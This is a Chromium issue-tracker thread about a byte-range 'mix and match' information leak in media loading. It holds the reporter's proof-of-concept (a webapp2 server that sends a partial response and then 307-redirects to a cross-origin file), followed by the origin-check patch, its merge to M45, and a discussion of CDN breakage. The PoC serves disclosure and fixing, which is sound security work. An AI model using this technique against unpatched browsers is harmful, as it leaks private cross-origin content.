Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user
Status: Fixed
Owner:
Closed: Jul 2015
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux
Pri: 1
Type: Bug-Security

Blocking:
issue 530928



Sign in to add a comment
Byte Serving Information Leak
Reported by sirdarck...@gmail.com, Jun 30 2015 Back to list
UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36

Steps to reproduce the problem:
This uses Service Workers (see  bug 489060 )
https://sirdarckcat.github.io/range/steal.html?https://www.bing.com/robots.txt

But it also works with 307 redirects, test with this code:

import webapp2

class RangeHandler(webapp2.RequestHandler):

  def get(self):  # pylint:disable-msg=invalid-name
    """Handle GET requests."""
    r = self.request.headers.get('range')
    if r == 'bytes=0-':
      self.response.set_status(206)
      self.response.headers["content-range"] = "bytes 0-3/5000"
      self.response.write("""Ogg""")
    else:
      self.response.set_status(307)
      self.response.headers["location"] = "https://upload.wikimedia.org/wikipedia/en/2/26/Andreas_Johnson_-_Glorious.ogg"

class MainHandler(webapp2.RequestHandler):

  def get(self):  # pylint:disable-msg=invalid-name
    """Handle GET requests."""
    self.response.write("""<audio autoplay src=/foo>""")

APP = webapp2.WSGIApplication([
    ('/foo', RangeHandler),
    ('/.*', MainHandler),
], debug=True)

What is the expected behavior?
It shouldn't mix & match

What went wrong?
it mixed and matched

Did this work before? N/A 

Chrome version: 43.0.2357.130  Channel: stable
OS Version: 
Flash Version: Shockwave Flash 18.0 r0

 
attached appengine app that demonstrates the 307 problem
Copy_of_Hello_World_-_6321328060628992.zip
9.7 KB Download
Cc: sirdarck...@gmail.com
Cc: kinuko@chromium.org jww@chromium.org
Labels: -Pri-2 Pri-1 Security_Impact-Stable Security_Severity-Medium
Owner: horo@chromium.org
Status: Assigned
Labels: M-44
Labels: Cr-Blink-ServiceWorker
Comment 6 by horo@chromium.org, Jul 1 2015
Status: Started
Comment 7 by horo@chromium.org, Jul 1 2015
Created a patch https://codereview.chromium.org/1220963004/.
Comment 8 by horo@chromium.org, Jul 1 2015
Labels: Cr-Internals-Media
Comment 9 by horo@chromium.org, Jul 1 2015
Cc: dalecur...@chromium.org falken@chromium.org
Cc: hubbe@chromium.org
Labels: -Cr-Blink-ServiceWorker
If I understand correctly, Service Workers don't cause this problem, it's doable with a native server doing the same thing, but SW was just used to make an easy test case. So I'm inclined to remove the Blink-ServiceWorker label.
Comment 12 by horo@chromium.org, Jul 2 2015
Cc: tyoshino@chromium.org
Comment 13 by horo@chromium.org, Jul 3 2015
Cc: jakearchibald@chromium.org
The current implementation of Chrome accepts these all mixed responses.

(1) Same URL responses.
 1. Chrome sends a request "http://example.com/audio.ogg" to the server.
 2. The server returns a response with "Content-Range: bytes 0-2/100" header.
 3. Chrome sends a request to the server with "Range: bytes=3-" header.
 4. The server returns a response with "Content-Range: bytes 3-99/100" header.

(2) Same origin different URL responses.
 1. Same as (1.1)
 2. Same as (1.2)
 3. Same as (1.3)
 4. The server returns a 206 response with "Location: http://example.com/audio2.ogg" header.
 5. Chrome sends a request "http://example.com/audio2.ogg" to the server with "Range: bytes=3-" header.
 6. The server returns a response with "Content-Range: bytes 3-99/100" header.

(3) Different origin responses.
 1. Same as (1.1)
 2. Same as (1.2)
 3. Same as (1.3)
 4. The server returns a 206 response with "Location: http://example2.com/audio.ogg" header.
 5. Chrome sends a request "http://example2.com/audio.ogg" to the server with "Range: bytes=3-" header.
 6. The server returns a response with "Content-Range: bytes 3-99/100" header.

If my understanding is correct, "resource fetch algorithm for a media element" in HTML spec doesn't say anything about these behavior.
https://html.spec.whatwg.org/multipage/embedded-content.html#concept-media-load-resource

I'm creating a patch to check the URL of multiple ranged responses (not the origin of the URL).
 https://codereview.chromium.org/1220963004/#ps140001
This patch disallows both (2) and (3).
This patch also disallows mixing Service Worker generated responses (new Response("foo")) and responses from the actual server.

But I'm wondering whether we should allow the same origin (2) responses or not.

jakearchibald@, evn@, ubbe@:
Do you have any ideas about it?

I think we should land this patch as soon as possible to prevent the attack like  http://crbug.com/489060#c32 .


Comment 14 by horo@chromium.org, Jul 3 2015
Cc: yhirano@chromium.org
Seems OK to permit same-origin redirects IMHO.
Comment 16 by horo@chromium.org, Jul 6 2015
evn@
OK. Then, I will change this cl (https://codereview.chromium.org/1220963004/) to permit same-origin redirects.
Thank you.
Project Member Comment 17 by bugdroid1@chromium.org, Jul 14 2015
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/7ab9c6c314f589251c85913bd0a360cba24eb76a

commit 7ab9c6c314f589251c85913bd0a360cba24eb76a
Author: horo <horo@chromium.org>
Date: Tue Jul 14 02:05:20 2015

Check the response URL origin in BufferedDataSource to avoid mixing cross-origin responses.

In current implementation malicious attackers can scan the bytes of cross-origin resources by mixing their generated bytes and the target response.
See  http://crbug.com/489060#c32  for details.

To avoid this, we have to deny mixing cross-origin responses  in the middle of playback.
This CL introduces the check logic of the response URL origin of the partial responses.

When BufferedDataSource receives the first HTTP responses, it remembers the original URL of it.
And when BufferedDataSource receives the succeeding response, it checks the origin of the new response.
If the origin is not same as the origin of the first response, the response is treated as an error.

BUG= 505829 
TEST=media_blink_unittests with https://codereview.chromium.org/1221973002/, LayoutTests in https://codereview.chromium.org/1226473002/

Review URL: https://codereview.chromium.org/1220963004

Cr-Commit-Position: refs/heads/master@{#338620}

[modify] http://crrev.com/7ab9c6c314f589251c85913bd0a360cba24eb76a/media/blink/buffered_data_source.cc
[modify] http://crrev.com/7ab9c6c314f589251c85913bd0a360cba24eb76a/media/blink/buffered_data_source.h
[modify] http://crrev.com/7ab9c6c314f589251c85913bd0a360cba24eb76a/media/blink/buffered_data_source_unittest.cc
[modify] http://crrev.com/7ab9c6c314f589251c85913bd0a360cba24eb76a/media/blink/buffered_resource_loader.cc
[modify] http://crrev.com/7ab9c6c314f589251c85913bd0a360cba24eb76a/media/blink/buffered_resource_loader.h
[modify] http://crrev.com/7ab9c6c314f589251c85913bd0a360cba24eb76a/media/blink/test_response_generator.cc
[modify] http://crrev.com/7ab9c6c314f589251c85913bd0a360cba24eb76a/media/blink/test_response_generator.h

Project Member Comment 18 by bugdroid1@chromium.org, Jul 16 2015
The following revision refers to this bug:
  http://src.chromium.org/viewvc/blink?view=rev&rev=199001

------------------------------------------------------------------
r199001 | horo@chromium.org | 2015-07-16T04:09:36.557394Z

Changed paths:
   A http://src.chromium.org/viewvc/blink/trunk/LayoutTests/http/tests/media/resources/mixed-range-response.php?r1=199001&r2=199000&pathrev=199001
   A http://src.chromium.org/viewvc/blink/trunk/LayoutTests/http/tests/media/mixed-range-response.html?r1=199001&r2=199000&pathrev=199001
   A http://src.chromium.org/viewvc/blink/trunk/LayoutTests/http/tests/serviceworker/chromium/resources/service-worker-mixed-response-worker.js?r1=199001&r2=199000&pathrev=199001
   A http://src.chromium.org/viewvc/blink/trunk/LayoutTests/http/tests/serviceworker/chromium/resources/blank.html?r1=199001&r2=199000&pathrev=199001
   A http://src.chromium.org/viewvc/blink/trunk/LayoutTests/http/tests/serviceworker/chromium/resources/service-worker-mixed-response.php?r1=199001&r2=199000&pathrev=199001
   A http://src.chromium.org/viewvc/blink/trunk/LayoutTests/http/tests/serviceworker/chromium/service-worker-mixed-response.html?r1=199001&r2=199000&pathrev=199001

Add LayoutTests for mixed range response handling.

This CL adds three tests:
- media/mixed-range-response.html
- serviceworker/chromium/service-worker-generated-mixed-response.html
- serviceworker/chromium/service-worker-proxied-mixed-response.html


This cl must be submitted after chromium side patch https://codereview.chromium.org/1220963004/.

BUG= 505829 

Review URL: https://codereview.chromium.org/1226473002
-----------------------------------------------------------------
Comment 19 by horo@chromium.org, Jul 21 2015
Status: Fixed
This issue was fixed by #17 which was landed after M45 brunch cut.

Thanks horo!

That means this will be fixed in stable around October, right?
Comment 21 by horo@chromium.org, Jul 21 2015
Yes.
Project Member Comment 22 by clusterf...@chromium.org, Jul 21 2015
Labels: -Restrict-View-SecurityTeam Merge-Triage Restrict-View-SecurityNotify M-45
Adding Merge-Triage label for tracking purposes.

Once your fix had sufficient bake time (on canary, dev as appropriate), please nominate your fix for merge by adding the Merge-Requested label.

When your merge is approved by the release manager, please start merging with higher milestone label first. Make sure to re-request merge for every milestone in the label list. You can get branch information on omahaproxy.appspot.com.

- Your friendly ClusterFuzz
Comment 23 by horo@chromium.org, Jul 31 2015
Labels: -Merge-Triage Merge-Request-45
Labels: -Merge-Request-45 Merge-Approved-45 Hotlist-Merge-Approved
Approved for M45 (branch: 2454)
Project Member Comment 25 by bugdroid1@chromium.org, Jul 31 2015
Labels: -Merge-Approved-45 merge-merged-2454
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/3e9aa0c8778651c680d3144ceacd0ecb05494081

commit 3e9aa0c8778651c680d3144ceacd0ecb05494081
Author: Tsuyoshi Horo <horo@chromium.org>
Date: Fri Jul 31 03:32:44 2015

[Merge to M45]Check the response URL origin in BufferedDataSource to avoid mixing cross-origin responses.

In current implementation malicious attackers can scan the bytes of cross-origin resources by mixing their generated bytes and the target response.
See  http://crbug.com/489060#c32  for details.

To avoid this, we have to deny mixing cross-origin responses  in the middle of playback.
This CL introduces the check logic of the response URL origin of the partial responses.

When BufferedDataSource receives the first HTTP responses, it remembers the original URL of it.
And when BufferedDataSource receives the succeeding response, it checks the origin of the new response.
If the origin is not same as the origin of the first response, the response is treated as an error.

BUG= 505829 
TEST=media_blink_unittests with https://codereview.chromium.org/1221973002/, LayoutTests in https://codereview.chromium.org/1226473002/

Review URL: https://codereview.chromium.org/1220963004

Cr-Commit-Position: refs/heads/master@{#338620}
(cherry picked from commit 7ab9c6c314f589251c85913bd0a360cba24eb76a)

Review URL: https://codereview.chromium.org/1266953002 .

Cr-Commit-Position: refs/branch-heads/2454@{#199}
Cr-Branched-From: 12bfc3360892ec53cd00fc239a47e5298beb063b-refs/heads/master@{#338390}

[modify] http://crrev.com/3e9aa0c8778651c680d3144ceacd0ecb05494081/media/blink/buffered_data_source.cc
[modify] http://crrev.com/3e9aa0c8778651c680d3144ceacd0ecb05494081/media/blink/buffered_data_source.h
[modify] http://crrev.com/3e9aa0c8778651c680d3144ceacd0ecb05494081/media/blink/buffered_data_source_unittest.cc
[modify] http://crrev.com/3e9aa0c8778651c680d3144ceacd0ecb05494081/media/blink/buffered_resource_loader.cc
[modify] http://crrev.com/3e9aa0c8778651c680d3144ceacd0ecb05494081/media/blink/buffered_resource_loader.h
[modify] http://crrev.com/3e9aa0c8778651c680d3144ceacd0ecb05494081/media/blink/test_response_generator.cc
[modify] http://crrev.com/3e9aa0c8778651c680d3144ceacd0ecb05494081/media/blink/test_response_generator.h

Project Member Comment 26 by bugdroid1@chromium.org, Jul 31 2015
The following revision refers to this bug:
  https://chrome-internal.googlesource.com/bling/chromium.git/+/3e9aa0c8778651c680d3144ceacd0ecb05494081

commit 3e9aa0c8778651c680d3144ceacd0ecb05494081
Author: Tsuyoshi Horo <horo@chromium.org>
Date: Fri Jul 31 03:32:44 2015

Comment 27 by horo@chromium.org, Aug 3 2015
sirdarckcat@
I merged the patch to M45.
M45 will go to stable early September.
Labels: Release-0-M45 reward-ineligible
Reward ineligible as sirdarckcat is a Googler! :)
injustice! :)
Cc: strobe@chromium.org
Okay so it turns out this has some pretty severe incompatibilities with Google's CDN - and from side knowledge, it'll also affect most media CDNs out there.

Most media CDNs do dynamic load balancing by spewing users across many servers. This traffic spewing is usually intelligent, but almost always non-deterministic; the necessary state to map users consistently to the same node in a way that was also traffic-fair is too big.

This new logic will break the playback of any resource on a CDN that:
- distributes traffic non-deterministically in this way
- requires multiple Range: requests (due to file layout, long-runningness, etc)

This is causing an ongoing outage for Photos (internal bug b/23788227), and would be doing so for all of YouTube too if YT was still using src= style media URLs.

Is there a way we can achieve the same protection, but with something compatible with the majority of CDNs? For instance, what if we disabled this protection if the resource passed a CORS check, since an author could do the same reassembly using XHRs in that case?
evn asked after: "The idea would be for Chrome to relax the patch in https://codereview.chromium.org/1220963004/ to let videos through if they are all from the same origin OR they all have CORS headers allowing the framing document. Is that a correct summary?"
I replied: "@evn (#125), that's my understanding of strobe@'s proposal, we already allow the same origin, but CORS is unconsidered."
Cc: jcalow@google.com
can we make this bug public now?
Regarding #31/32/33: the specific proposal is to disable this new protection when the media would otherwise have to pass a CORS check (via the 'crossorigin' attribute on the tag), since every origin would have to be validated for CORS anyway.

An alternative implementation, closer to what you're suggesting, is to always provide the 'Origin' request header for media requests and drop the new protection if that Origin is met with an Access-Control-Allow-Origin response header. This might not be quite as clean, but it's simpler in a way that's convenient to authors (if a CDN already trusts an origin for CORS, the page author doesn't have to add the 'crossorigin' attribute, which is good because 'crossorigin' does weird and broken things on some browsers and may increase latency if a browser decides to preflight a request because it contains 'Range').
Blocking: chromium:530928
Filed  issue 532569  to track this publicly.
Filed  issue 532569  to track this publicly.
Cc: dsturtevant@google.com
In #13, shouldn't that be:
4. The server returns a 307 response with "Location: http://example.com/audio2.ogg" header.


Comment 42 by jcalow@google.com, Sep 21 2015
This is causing widespread issues with Photo sharing.  Who do I need to talk to in order to turn this off until an appropriate CORS fix is put in place?  See b/23788227 (deliberately posting to internal issue)

Also can someone please connect with me and explain the nature of the exploit this is protecting against?
Comment 43 by jcalow@google.com, Sep 21 2015
Sorry I meant to say "with video sharing on the photo site" and hit enter too soon.
If this affects private/secret videos with predictable URLs, then disabling
this fix would be a worse outcome for your users. The exploit for this is
now public (since the bug was fixed), which means if the fix is disabled,
then anyone could use this attack to steal private videos.
Project Member Comment 45 by clusterf...@chromium.org, Oct 27 2015
Labels: -Restrict-View-SecurityNotify
Bulk update: removing view restriction from closed bugs.
Project Member Comment 46 by sheriffbot@chromium.org, Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 47 by sheriffbot@chromium.org, Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Sign in to add a comment